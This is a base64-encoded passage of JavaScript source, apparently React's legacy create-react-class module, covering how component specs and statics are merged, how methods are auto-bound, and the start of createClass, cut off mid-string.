IGlmIChSRVNFUlZFRF9TUEVDX0tFWVMuaGFzT3duUHJvcGVydHkobmFtZSkpIHtcbiAgICAgICAgUkVTRVJWRURfU1BFQ19LRVlTW25hbWVdKENvbnN0cnVjdG9yLCBwcm9wZXJ0eSk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICAvLyBTZXR1cCBtZXRob2RzIG9uIHByb3RvdHlwZTpcbiAgICAgICAgLy8gVGhlIGZvbGxvd2luZyBtZW1iZXIgbWV0aG9kcyBzaG91bGQgbm90IGJlIGF1dG9tYXRpY2FsbHkgYm91bmQ6XG4gICAgICAgIC8vIDEuIEV4cGVjdGVkIFJlYWN0Q2xhc3MgbWV0aG9kcyAoaW4gdGhlIFwiaW50ZXJmYWNlXCIpLlxuICAgICAgICAvLyAyLiBPdmVycmlkZGVuIG1ldGhvZHMgKHRoYXQgd2VyZSBtaXhlZCBpbikuXG4gICAgICAgIHZhciBpc1JlYWN0Q2xhc3NNZXRob2QgPSBSZWFjdENsYXNzSW50ZXJmYWNlLmhhc093blByb3BlcnR5KG5hbWUpO1xuICAgICAgICB2YXIgaXNGdW5jdGlvbiA9IHR5cGVvZiBwcm9wZXJ0eSA9PT0gJ2Z1bmN0aW9uJztcbiAgICAgICAgdmFyIHNob3VsZEF1dG9CaW5kID1cbiAgICAgICAgICBpc0Z1bmN0aW9uICYmXG4gICAgICAgICAgIWlzUmVhY3RDbGFzc01ldGhvZCAmJlxuICAgICAgICAgICFpc0FscmVhZHlEZWZpbmVkICYmXG4gICAgICAgICAgc3BlYy5hdXRvYmluZCAhPT0gZmFsc2U7XG5cbiAgICAgICAgaWYgKHNob3VsZEF1dG9CaW5kKSB7XG4gICAgICAgICAgYXV0b0JpbmRQYWlycy5wdXNoKG5hbWUsIHByb3BlcnR5KTtcbiAgICAgICAgICBwcm90b1tuYW1lXSA9IHByb3BlcnR5O1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIGlmIChpc0FscmVhZHlEZWZpbmVkKSB7XG4gICAgICAgICAgICB2YXIgc3BlY1BvbGljeSA9IFJlYWN0Q2xhc3NJbnRlcmZhY2VbbmFtZV07XG5cbiAgICAgICAgICAgIC8vIFRoZXNlIGNhc2VzIHNob3VsZCBhbHJlYWR5IGJlIGNhdWdodCBieSB2YWxpZGF0ZU1ldGhvZE92ZXJyaWRlLlxuICAgICAgICAgICAgX2ludmFyaWFudChcbiAgICAgICAgICAgICAgaXNSZWFjdENsYXNzTWV0aG9kICYmXG4gICAgICAgICAgICAgICAgKHNwZWNQb2xpY3kgPT09ICdERUZJTkVfTUFOWV9NRVJHRUQnIHx8XG4gICAgICAgICAgICAgICAgICBzcGVjUG9saWN5ID09PSAnREVGSU5FX01BTlknKSxcbiAgICAgICAgICAgICAgJ1JlYWN0Q2xhc3M6IFVuZXhwZWN0ZWQgc3BlYyBwb2xpY3kgJXMgZm9yIGtleSAlcyAnICtcbiAgICAgICAgICAgICAgICAnd2hlbiBtaXhpbmcgaW4gY29tcG9uZW50IHNwZWNzLicsXG4gICAgICAgICAgICAgIHNwZWNQb2xpY3ksXG4gICAgICAgICAgICAgIG5hbWVcbiAgICAgICAgICAgICk7XG5cbiAgICAgICAgICAgIC8vIEZvciBtZXRob2RzIHdoaWNoIGFyZSBkZWZpbmVkIG1vcmUgdGhhbiBvbmNlLCBjYWxsIHRoZSBleGlzdGluZ1xuICAgICAgICAgICAgLy8gbWV0aG9kcyBiZWZvcmUgY2FsbGluZyB0aGUgbmV3IHByb3BlcnR5LCBtZXJnaW5nIGlmIGFwcHJvcHJpYXRlLlxuICAgICAgICAgICAgaWYgKHNwZWNQb2xpY3kgPT09ICdERUZJTkVfTUFOWV9NRVJHRUQnKSB7XG4gICAgICAgICAgICAgIHByb3RvW25hbWVdID0gY3JlYXRlTWVyZ2VkUmVzdWx0RnVuY3Rpb24ocHJvdG9bbmFtZV0sIHByb3BlcnR5KTtcbiAgICAgICAgICAgIH0gZWxzZSBpZiAoc3BlY1BvbGljeSA9PT0gJ0RFRklORV9NQU5ZJykge1xuICAgICAgICAgICAgICBwcm90b1tuYW1lXSA9IGNyZWF0ZUNoYWluZWRGdW5jdGlvbihwcm90b1tuYW1lXSwgcHJvcGVydHkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBwcm90b1tuYW1lXSA9IHByb3BlcnR5O1xuICAgICAgICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgICAgICAgLy8gQWRkIHZlcmJvc2UgZGlzcGxheU5hbWUgdG8gdGhlIGZ1bmN0aW9uLCB3aGljaCBoZWxwcyB3aGVuIGxvb2tpbmdcbiAgICAgICAgICAgICAgLy8gYXQgcHJvZmlsaW5nIHRvb2xzLlxuICAgICAgICAgICAgICBpZiAodHlwZW9mIHByb3BlcnR5ID09PSAnZnVuY3Rpb24nICYmIHNwZWMuZGlzcGxheU5hbWUpIHtcbiAgICAgICAgICAgICAgICBwcm90b1tuYW1lXS5kaXNwbGF5TmFtZSA9IHNwZWMuZGlzcGxheU5hbWUgKyAnXycgKyBuYW1lO1xuICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgZnVuY3Rpb24gbWl4U3RhdGljU3BlY0ludG9Db21wb25lbnQoQ29uc3RydWN0b3IsIHN0YXRpY3MpIHtcbiAgICBpZiAoIXN0YXRpY3MpIHtcbiAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBmb3IgKHZhciBuYW1lIGluIHN0YXRpY3MpIHtcbiAgICAgIHZhciBwcm9wZXJ0eSA9IHN0YXRpY3NbbmFtZV07XG4gICAgICBpZiAoIXN0YXRpY3MuaGFzT3duUHJvcGVydHkobmFtZSkpIHtcbiAgICAgICAgY29udGludWU7XG4gICAgICB9XG5cbiAgICAgIHZhciBpc1Jlc2VydmVkID0gbmFtZSBpbiBSRVNFUlZFRF9TUEVDX0tFWVM7XG4gICAgICBfaW52YXJpYW50KFxuICAgICAgICAhaXNSZXNlcnZlZCxcbiAgICAgICAgJ1JlYWN0Q2xhc3M6IFlvdSBhcmUgYXR0ZW1wdGluZyB0byBkZWZpbmUgYSByZXNlcnZlZCAnICtcbiAgICAgICAgICAncHJvcGVydHksIGAlc2AsIHRoYXQgc2hvdWxkblxcJ3QgYmUgb24gdGhlIFwic3RhdGljc1wiIGtleS4gRGVmaW5lIGl0ICcgK1xuICAgICAgICAgICdhcyBhbiBpbnN0YW5jZSBwcm9wZXJ0eSBpbnN0ZWFkOyBpdCB3aWxsIHN0aWxsIGJlIGFjY2Vzc2libGUgb24gdGhlICcgK1xuICAgICAgICAgICdjb25zdHJ1Y3Rvci4nLFxuICAgICAgICBuYW1lXG4gICAgICApO1xuXG4gICAgICB2YXIgaXNBbHJlYWR5RGVmaW5lZCA9IG5hbWUgaW4gQ29uc3RydWN0b3I7XG4gICAgICBpZiAoaXNBbHJlYWR5RGVmaW5lZCkge1xuICAgICAgICB2YXIgc3BlY1BvbGljeSA9IFJlYWN0Q2xhc3NTdGF0aWNJbnRlcmZhY2UuaGFzT3duUHJvcGVydHkobmFtZSlcbiAgICAgICAgICA/IFJlYWN0Q2xhc3NTdGF0aWNJbnRlcmZhY2VbbmFtZV1cbiAgICAgICAgICA6IG51bGw7XG5cbiAgICAgICAgX2ludmFyaWFudChcbiAgICAgICAgICBzcGVjUG9saWN5ID09PSAnREVGSU5FX01BTllfTUVSR0VEJyxcbiAgICAgICAgICAnUmVhY3RDbGFzczogWW91IGFyZSBhdHRlbXB0aW5nIHRvIGRlZmluZSAnICtcbiAgICAgICAgICAgICdgJXNgIG9uIHlvdXIgY29tcG9uZW50IG1vcmUgdGhhbiBvbmNlLiBUaGlzIGNvbmZsaWN0IG1heSBiZSAnICtcbiAgICAgICAgICAgICdkdWUgdG8gYSBtaXhpbi4nLFxuICAgICAgICAgIG5hbWVcbiAgICAgICAgKTtcblxuICAgICAgICBDb25zdHJ1Y3RvcltuYW1lXSA9IGNyZWF0ZU1lcmdlZFJlc3VsdEZ1bmN0aW9uKENvbnN0cnVjdG9yW25hbWVdLCBwcm9wZXJ0eSk7XG5cbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuXG4gICAgICBDb25zdHJ1Y3RvcltuYW1lXSA9IHByb3BlcnR5O1xuICAgIH1cbiAgfVxuXG4gIC8qKlxuICAgKiBNZXJnZSB0d28gb2JqZWN0cywgYnV0IHRocm93IGlmIGJvdGggY29udGFpbiB0aGUgc2FtZSBrZXkuXG4gICAqXG4gICAqIEBwYXJhbSB7b2JqZWN0fSBvbmUgVGhlIGZpcnN0IG9iamVjdCwgd2hpY2ggaXMgbXV0YXRlZC5cbiAgICogQHBhcmFtIHtvYmplY3R9IHR3byBUaGUgc2Vjb25kIG9iamVjdFxuICAgKiBAcmV0dXJuIHtvYmplY3R9IG9uZSBhZnRlciBpdCBoYXMgYmVlbiBtdXRhdGVkIHRvIGNvbnRhaW4gZXZlcnl0aGluZyBpbiB0d28uXG4gICAqL1xuICBmdW5jdGlvbiBtZXJnZUludG9XaXRoTm9EdXBsaWNhdGVLZXlzKG9uZSwgdHdvKSB7XG4gICAgX2ludmFyaWFudChcbiAgICAgIG9uZSAmJiB0d28gJiYgdHlwZW9mIG9uZSA9PT0gJ29iamVjdCcgJiYgdHlwZW9mIHR3byA9PT0gJ29iamVjdCcsXG4gICAgICAnbWVyZ2VJbnRvV2l0aE5vRHVwbGljYXRlS2V5cygpOiBDYW5ub3QgbWVyZ2Ugbm9uLW9iamVjdHMuJ1xuICAgICk7XG5cbiAgICBmb3IgKHZhciBrZXkgaW4gdHdvKSB7XG4gICAgICBpZiAodHdvLmhhc093blByb3BlcnR5KGtleSkpIHtcbiAgICAgICAgX2ludmFyaWFudChcbiAgICAgICAgICBvbmVba2V5XSA9PT0gdW5kZWZpbmVkLFxuICAgICAgICAgICdtZXJnZUludG9XaXRoTm9EdXBsaWNhdGVLZXlzKCk6ICcgK1xuICAgICAgICAgICAgJ1RyaWVkIHRvIG1lcmdlIHR3byBvYmplY3RzIHdpdGggdGhlIHNhbWUga2V5OiBgJXNgLiBUaGlzIGNvbmZsaWN0ICcgK1xuICAgICAgICAgICAgJ21heSBiZSBkdWUgdG8gYSBtaXhpbjsgaW4gcGFydGljdWxhciwgdGhpcyBtYXkgYmUgY2F1c2VkIGJ5IHR3byAnICtcbiAgICAgICAgICAgICdnZXRJbml0aWFsU3RhdGUoKSBvciBnZXREZWZhdWx0UHJvcHMoKSBtZXRob2RzIHJldHVybmluZyBvYmplY3RzICcgK1xuICAgICAgICAgICAgJ3dpdGggY2xhc2hpbmcga2V5cy4nLFxuICAgICAgICAgIGtleVxuICAgICAgICApO1xuICAgICAgICBvbmVba2V5XSA9IHR3b1trZXldO1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gb25lO1xuICB9XG5cbiAgLyoqXG4gICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGludm9rZXMgdHdvIGZ1bmN0aW9ucyBhbmQgbWVyZ2VzIHRoZWlyIHJldHVybiB2YWx1ZXMuXG4gICAqXG4gICAqIEBwYXJhbSB7ZnVuY3Rpb259IG9uZSBGdW5jdGlvbiB0byBpbnZva2UgZmlyc3QuXG4gICAqIEBwYXJhbSB7ZnVuY3Rpb259IHR3byBGdW5jdGlvbiB0byBpbnZva2Ugc2Vjb25kLlxuICAgKiBAcmV0dXJuIHtmdW5jdGlvbn0gRnVuY3Rpb24gdGhhdCBpbnZva2VzIHRoZSB0d28gYXJndW1lbnQgZnVuY3Rpb25zLlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgZnVuY3Rpb24gY3JlYXRlTWVyZ2VkUmVzdWx0RnVuY3Rpb24ob25lLCB0d28pIHtcbiAgICByZXR1cm4gZnVuY3Rpb24gbWVyZ2VkUmVzdWx0KCkge1xuICAgICAgdmFyIGEgPSBvbmUuYXBwbHkodGhpcywgYXJndW1lbnRzKTtcbiAgICAgIHZhciBiID0gdHdvLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gICAgICBpZiAoYSA9PSBudWxsKSB7XG4gICAgICAgIHJldHVybiBiO1xuICAgICAgfSBlbHNlIGlmIChiID09IG51bGwpIHtcbiAgICAgICAgcmV0dXJuIGE7XG4gICAgICB9XG4gICAgICB2YXIgYyA9IHt9O1xuICAgICAgbWVyZ2VJbnRvV2l0aE5vRHVwbGljYXRlS2V5cyhjLCBhKTtcbiAgICAgIG1lcmdlSW50b1dpdGhOb0R1cGxpY2F0ZUtleXMoYywgYik7XG4gICAgICByZXR1cm4gYztcbiAgICB9O1xuICB9XG5cbiAgLyoqXG4gICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGludm9rZXMgdHdvIGZ1bmN0aW9ucyBhbmQgaWdub3JlcyB0aGVpciByZXR1cm4gdmFsZXMuXG4gICAqXG4gICAqIEBwYXJhbSB7ZnVuY3Rpb259IG9uZSBGdW5jdGlvbiB0byBpbnZva2UgZmlyc3QuXG4gICAqIEBwYXJhbSB7ZnVuY3Rpb259IHR3byBGdW5jdGlvbiB0byBpbnZva2Ugc2Vjb25kLlxuICAgKiBAcmV0dXJuIHtmdW5jdGlvbn0gRnVuY3Rpb24gdGhhdCBpbnZva2VzIHRoZSB0d28gYXJndW1lbnQgZnVuY3Rpb25zLlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgZnVuY3Rpb24gY3JlYXRlQ2hhaW5lZEZ1bmN0aW9uKG9uZSwgdHdvKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uIGNoYWluZWRGdW5jdGlvbigpIHtcbiAgICAgIG9uZS5hcHBseSh0aGlzLCBhcmd1bWVudHMpO1xuICAgICAgdHdvLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gICAgfTtcbiAgfVxuXG4gIC8qKlxuICAgKiBCaW5kcyBhIG1ldGhvZCB0byB0aGUgY29tcG9uZW50LlxuICAgKlxuICAgKiBAcGFyYW0ge29iamVjdH0gY29tcG9uZW50IENvbXBvbmVudCB3aG9zZSBtZXRob2QgaXMgZ29pbmcgdG8gYmUgYm91bmQuXG4gICAqIEBwYXJhbSB7ZnVuY3Rpb259IG1ldGhvZCBNZXRob2QgdG8gYmUgYm91bmQuXG4gICAqIEByZXR1cm4ge2Z1bmN0aW9ufSBUaGUgYm91bmQgbWV0aG9kLlxuICAgKi9cbiAgZnVuY3Rpb24gYmluZEF1dG9CaW5kTWV0aG9kKGNvbXBvbmVudCwgbWV0aG9kKSB7XG4gICAgdmFyIGJvdW5kTWV0aG9kID0gbWV0aG9kLmJpbmQoY29tcG9uZW50KTtcbiAgICBpZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykge1xuICAgICAgYm91bmRNZXRob2QuX19yZWFjdEJvdW5kQ29udGV4dCA9IGNvbXBvbmVudDtcbiAgICAgIGJvdW5kTWV0aG9kLl9fcmVhY3RCb3VuZE1ldGhvZCA9IG1ldGhvZDtcbiAgICAgIGJvdW5kTWV0aG9kLl9fcmVhY3RCb3VuZEFyZ3VtZW50cyA9IG51bGw7XG4gICAgICB2YXIgY29tcG9uZW50TmFtZSA9IGNvbXBvbmVudC5jb25zdHJ1Y3Rvci5kaXNwbGF5TmFtZTtcbiAgICAgIHZhciBfYmluZCA9IGJvdW5kTWV0aG9kLmJpbmQ7XG4gICAgICBib3VuZE1ldGhvZC5iaW5kID0gZnVuY3Rpb24obmV3VGhpcykge1xuICAgICAgICBmb3IgKFxuICAgICAgICAgIHZhciBfbGVuID0gYXJndW1lbnRzLmxlbmd0aCxcbiAgICAgICAgICAgIGFyZ3MgPSBBcnJheShfbGVuID4gMSA/IF9sZW4gLSAxIDogMCksXG4gICAgICAgICAgICBfa2V5ID0gMTtcbiAgICAgICAgICBfa2V5IDwgX2xlbjtcbiAgICAgICAgICBfa2V5KytcbiAgICAgICAgKSB7XG4gICAgICAgICAgYXJnc1tfa2V5IC0gMV0gPSBhcmd1bWVudHNbX2tleV07XG4gICAgICAgIH1cblxuICAgICAgICAvLyBVc2VyIGlzIHRyeWluZyB0byBiaW5kKCkgYW4gYXV0b2JvdW5kIG1ldGhvZDsgd2UgZWZmZWN0aXZlbHkgd2lsbFxuICAgICAgICAvLyBpZ25vcmUgdGhlIHZhbHVlIG9mIFwidGhpc1wiIHRoYXQgdGhlIHVzZXIgaXMgdHJ5aW5nIHRvIHVzZSwgc29cbiAgICAgICAgLy8gbGV0J3Mgd2Fybi5cbiAgICAgICAgaWYgKG5ld1RoaXMgIT09IGNvbXBvbmVudCAmJiBuZXdUaGlzICE9PSBudWxsKSB7XG4gICAgICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgICAgIHdhcm5pbmcoXG4gICAgICAgICAgICAgIGZhbHNlLFxuICAgICAgICAgICAgICAnYmluZCgpOiBSZWFjdCBjb21wb25lbnQgbWV0aG9kcyBtYXkgb25seSBiZSBib3VuZCB0byB0aGUgJyArXG4gICAgICAgICAgICAgICAgJ2NvbXBvbmVudCBpbnN0YW5jZS4gU2VlICVzJyxcbiAgICAgICAgICAgICAgY29tcG9uZW50TmFtZVxuICAgICAgICAgICAgKTtcbiAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSBpZiAoIWFyZ3MubGVuZ3RoKSB7XG4gICAgICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgICAgIHdhcm5pbmcoXG4gICAgICAgICAgICAgIGZhbHNlLFxuICAgICAgICAgICAgICAnYmluZCgpOiBZb3UgYXJlIGJpbmRpbmcgYSBjb21wb25lbnQgbWV0aG9kIHRvIHRoZSBjb21wb25lbnQuICcgK1xuICAgICAgICAgICAgICAgICdSZWFjdCBkb2VzIHRoaXMgZm9yIHlvdSBhdXRvbWF0aWNhbGx5IGluIGEgaGlnaC1wZXJmb3JtYW5jZSAnICtcbiAgICAgICAgICAgICAgICAnd2F5LCBzbyB5b3UgY2FuIHNhZmVseSByZW1vdmUgdGhpcyBjYWxsLiBTZWUgJXMnLFxuICAgICAgICAgICAgICBjb21wb25lbnROYW1lXG4gICAgICAgICAgICApO1xuICAgICAgICAgIH1cbiAgICAgICAgICByZXR1cm4gYm91bmRNZXRob2Q7XG4gICAgICAgIH1cbiAgICAgICAgdmFyIHJlYm91bmRNZXRob2QgPSBfYmluZC5hcHBseShib3VuZE1ldGhvZCwgYXJndW1lbnRzKTtcbiAgICAgICAgcmVib3VuZE1ldGhvZC5fX3JlYWN0Qm91bmRDb250ZXh0ID0gY29tcG9uZW50O1xuICAgICAgICByZWJvdW5kTWV0aG9kLl9fcmVhY3RCb3VuZE1ldGhvZCA9IG1ldGhvZDtcbiAgICAgICAgcmVib3VuZE1ldGhvZC5fX3JlYWN0Qm91bmRBcmd1bWVudHMgPSBhcmdzO1xuICAgICAgICByZXR1cm4gcmVib3VuZE1ldGhvZDtcbiAgICAgIH07XG4gICAgfVxuICAgIHJldHVybiBib3VuZE1ldGhvZDtcbiAgfVxuXG4gIC8qKlxuICAgKiBCaW5kcyBhbGwgYXV0by1ib3VuZCBtZXRob2RzIGluIGEgY29tcG9uZW50LlxuICAgKlxuICAgKiBAcGFyYW0ge29iamVjdH0gY29tcG9uZW50IENvbXBvbmVudCB3aG9zZSBtZXRob2QgaXMgZ29pbmcgdG8gYmUgYm91bmQuXG4gICAqL1xuICBmdW5jdGlvbiBiaW5kQXV0b0JpbmRNZXRob2RzKGNvbXBvbmVudCkge1xuICAgIHZhciBwYWlycyA9IGNvbXBvbmVudC5fX3JlYWN0QXV0b0JpbmRQYWlycztcbiAgICBmb3IgKHZhciBpID0gMDsgaSA8IHBhaXJzLmxlbmd0aDsgaSArPSAyKSB7XG4gICAgICB2YXIgYXV0b0JpbmRLZXkgPSBwYWlyc1tpXTtcbiAgICAgIHZhciBtZXRob2QgPSBwYWlyc1tpICsgMV07XG4gICAgICBjb21wb25lbnRbYXV0b0JpbmRLZXldID0gYmluZEF1dG9CaW5kTWV0aG9kKGNvbXBvbmVudCwgbWV0aG9kKTtcbiAgICB9XG4gIH1cblxuICB2YXIgSXNNb3VudGVkUHJlTWl4aW4gPSB7XG4gICAgY29tcG9uZW50RGlkTW91bnQ6IGZ1bmN0aW9uKCkge1xuICAgICAgdGhpcy5fX2lzTW91bnRlZCA9IHRydWU7XG4gICAgfVxuICB9O1xuXG4gIHZhciBJc01vdW50ZWRQb3N0TWl4aW4gPSB7XG4gICAgY29tcG9uZW50V2lsbFVubW91bnQ6IGZ1bmN0aW9uKCkge1xuICAgICAgdGhpcy5fX2lzTW91bnRlZCA9IGZhbHNlO1xuICAgIH1cbiAgfTtcblxuICAvKipcbiAgICogQWRkIG1vcmUgdG8gdGhlIFJlYWN0Q2xhc3MgYmFzZSBjbGFzcy4gVGhlc2UgYXJlIGFsbCBsZWdhY3kgZmVhdHVyZXMgYW5kXG4gICAqIHRoZXJlZm9yZSBub3QgYWxyZWFkeSBwYXJ0IG9mIHRoZSBtb2Rlcm4gUmVhY3RDb21wb25lbnQuXG4gICAqL1xuICB2YXIgUmVhY3RDbGFzc01peGluID0ge1xuICAgIC8qKlxuICAgICAqIFRPRE86IFRoaXMgd2lsbCBiZSBkZXByZWNhdGVkIGJlY2F1c2Ugc3RhdGUgc2hvdWxkIGFsd2F5cyBrZWVwIGEgY29uc2lzdGVudFxuICAgICAqIHR5cGUgc2lnbmF0dXJlIGFuZCB0aGUgb25seSB1c2UgY2FzZSBmb3IgdGhpcywgaXMgdG8gYXZvaWQgdGhhdC5cbiAgICAgKi9cbiAgICByZXBsYWNlU3RhdGU6IGZ1bmN0aW9uKG5ld1N0YXRlLCBjYWxsYmFjaykge1xuICAgICAgdGhpcy51cGRhdGVyLmVucXVldWVSZXBsYWNlU3RhdGUodGhpcywgbmV3U3RhdGUsIGNhbGxiYWNrKTtcbiAgICB9LFxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIHdoZXRoZXIgb3Igbm90IHRoaXMgY29tcG9zaXRlIGNvbXBvbmVudCBpcyBtb3VudGVkLlxuICAgICAqIEByZXR1cm4ge2Jvb2xlYW59IFRydWUgaWYgbW91bnRlZCwgZmFsc2Ugb3RoZXJ3aXNlLlxuICAgICAqIEBwcm90ZWN0ZWRcbiAgICAgKiBAZmluYWxcbiAgICAgKi9cbiAgICBpc01vdW50ZWQ6IGZ1bmN0aW9uKCkge1xuICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgd2FybmluZyhcbiAgICAgICAgICB0aGlzLl9fZGlkV2FybklzTW91bnRlZCxcbiAgICAgICAgICAnJXM6IGlzTW91bnRlZCBpcyBkZXByZWNhdGVkLiBJbnN0ZWFkLCBtYWtlIHN1cmUgdG8gY2xlYW4gdXAgJyArXG4gICAgICAgICAgICAnc3Vic2NyaXB0aW9ucyBhbmQgcGVuZGluZyByZXF1ZXN0cyBpbiBjb21wb25lbnRXaWxsVW5tb3VudCB0byAnICtcbiAgICAgICAgICAgICdwcmV2ZW50IG1lbW9yeSBsZWFrcy4nLFxuICAgICAgICAgICh0aGlzLmNvbnN0cnVjdG9yICYmIHRoaXMuY29uc3RydWN0b3IuZGlzcGxheU5hbWUpIHx8XG4gICAgICAgICAgICB0aGlzLm5hbWUgfHxcbiAgICAgICAgICAgICdDb21wb25lbnQnXG4gICAgICAgICk7XG4gICAgICAgIHRoaXMuX19kaWRXYXJuSXNNb3VudGVkID0gdHJ1ZTtcbiAgICAgIH1cbiAgICAgIHJldHVybiAhIXRoaXMuX19pc01vdW50ZWQ7XG4gICAgfVxuICB9O1xuXG4gIHZhciBSZWFjdENsYXNzQ29tcG9uZW50ID0gZnVuY3Rpb24oKSB7fTtcbiAgX2Fzc2lnbihcbiAgICBSZWFjdENsYXNzQ29tcG9uZW50LnByb3RvdHlwZSxcbiAgICBSZWFjdENvbXBvbmVudC5wcm90b3R5cGUsXG4gICAgUmVhY3RDbGFzc01peGluXG4gICk7XG5cbiAgLyoqXG4gICAqIENyZWF0ZXMgYSBjb21wb3NpdGUgY29tcG9uZW50IGNsYXNzIGdpdmVuIGEgY2xhc3Mgc3BlY2lmaWNhdGlvbi5cbiAgICogU2VlIGh0dHBzOi8vZmFjZWJvb2suZ2l0aHViLmlvL3JlYWN0L2RvY3MvdG9wLWxldmVsLWFwaS5odG1sI3JlYWN0LmNyZWF0ZWNsYXNzXG4gICAqXG4gICAqIEBwYXJhbSB7b2JqZWN0fSBzcGVjIENsYXNzIHNwZWNpZmljYXRpb24gKHdoaWNoIG11c3QgZGVmaW5lIGByZW5kZXJgKS5cbiAgICogQHJldHVybiB7ZnVuY3Rpb259IENvbXBvbmVudCBjb25zdHJ1Y3RvciBmdW5jdGlvbi5cbiAgICogQHB1YmxpY1xuICAgKi9cbiAgZnVuY3Rpb24gY3JlYXRlQ2xhc3Moc3BlYykge1xuICAgIC8vIFRvIGtlZXAgb3VyIHdhcm5pbmdzIG1vcmUgdW5kZXJzdGFuZGFibGUsIHdlJ2xsIHVzZSBhIGxpdHRsZSBoYWNrIGhlcmUgdG9cbiAgICAvLyBlbnN1cmUgdGhhdCBDb25zdHJ1Y3Rvci5uYW1lICE9PSAnQ29uc3RydWN0b3InLiBUaGlzIG1ha2VzIHN1cmUgd2UgZG9uJ3RcbiAgICAvLyB1bm5lY2Vzc2FyaWx5IGlkZW50aWZ5IGEgY2xhc3Mgd2l0aG91dCBkaXNwbGF5TmFtZSBhcyAnQ29uc3RydWN0b3InLlxuICAgIHZhciBDb25zdHJ1Y3RvciA9IGlkZW50aXR5KGZ1bmN0aW9uKHByb3BzLCBjb250ZXh0LCB1cGRhdGVyKSB7XG4gICAgICAvLyBUaGlzIGNvbnN0cnVjdG9yIGdldHMgb3ZlcnJpZGRlbiBieSBtb2Nrcy4gVGhlIGFyZ3VtZW50IGlzIHVzZWRcbiAgICAgIC8vIGJ5IG1vY2tzIHRvIGFzc2VydCBvbiB3aGF0IGdldHMgbW91bnRlZC5cblxuICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgd2FybmluZyhcbiAgICAgICAgICB0aGlzIGluc3RhbmNlb2YgQ29uc3RydWN0b3IsXG4gICAgICAgICAgJ1NvbWV0aGluZyBpcyBjYWxsaW5nIGEgUmVhY3QgY29tcG9uZW50IGRpcmVjdGx5LiBVc2UgYSBmYWN0b3J5IG9yICcgK1xuICAgICAgICAgICAgJ0pTWCBpbnN0ZWFkLiBTZWU6IGh0dHBzOi8vZmIubWUvcmVhY3QtbGVnYWN5ZmFjdG9yeSdcbiAgICAgICAgKTtcbiAgICAgIH1cblxuICAgICAgLy8gV2lyZSB1cCBhdXRvLWJpbmRpbmdcbiAgICAgIGlmICh0aGlzLl9fcmVhY3RBdXRvQmluZFBhaXJzLmxlbmd0aCkge1xuICAgICAgICBiaW5kQXV0b0JpbmRNZXRob2RzKHRoaXMpO1xuICAgICAgfVxuXG4gICAgICB0aGlzLnByb3BzID0gcHJvcHM7XG4gICAgICB0aGlzLmNvbnRleHQgPSBjb250ZXh0O1xuICAgICAgdGhpcy5yZWZzID0gZW1wdHlPYmplY3Q7XG4gICAgICB0aGlzLnVwZGF0ZXIgPSB1cGRhdGVyIHx8IFJlYWN0Tm9vcFVwZGF0ZVF1ZXVlO1xuXG4gICAgICB0aGlzLnN0YXRlID0gbnVsbDtcblxuICAgICAgLy8gUmVhY3RDbGFzc2VzIGRvZXNuJ3QgaGF2ZSBjb25zdHJ1Y3RvcnMuIEluc3RlYWQsIHRoZXkgdXNlIHRoZVxuICAgICAgLy8gZ2V0SW5pdGlhbFN0YXRlIGFuZCBjb21wb25lbnRXaWxsTW91bnQgbWV0aG9kcyBmb3IgaW5pdGlhbGl6YXRpb24uXG5cbiAgICAgIHZhciBpbml0aWFsU3RhdGUgPSB0aGlzLmdldEluaXRpYWxTdGF0ZSA/IHRoaXMuZ2V0SW5pdGlhbFN0YXRlKCkgOiBudWxsO1xuICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgLy8gV2UgYWxsb3cgYXV0by1tb2NrcyB0byBwcm9jZWVkIGFzIGlmIHRoZXkncmUgcmV0dXJuaW5nIG51bGwuXG4gICAgICAgIGlmIChcbiAgICAgICAgICBpbml0aWFsU3RhdGUgPT09IHVuZGVmaW5lZCAmJlxuICAgICAgICAgIHRoaXMuZ2V0SW5pdGlhbFN0YXRlLl9pc01vY2tGdW5jdGlvblxuICAgICAgICApIHtcbiAgICAgICAgICAvLyBUaGlzIGlzIHByb2JhYmx5IGJhZCBwcmFjdGljZS4gQ29uc2lkZXIgd2FybmluZyBoZXJlIGFuZFxuICAgICAgICAgIC8vIGRlcHJlY2F0aW5nIHRoaXMgY29udmVuaWVuY2UuXG4gICAgICAgICAgaW5pdGlhbFN0YXRlID0gbnVsbDtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgX2ludmFyaWFudChcbiAgICAgICAgdHlwZW9mIGluaXRpYWxTdGF0ZSA9PT0gJ29iamVjdCcgJiYgIUFycmF5LmlzQXJyYXkoaW5pdGlhbFN0YXRlKSxcbiAgICAgICAgJyVzLmdldEluaXRpYWxTdGF0ZSgpOiBtd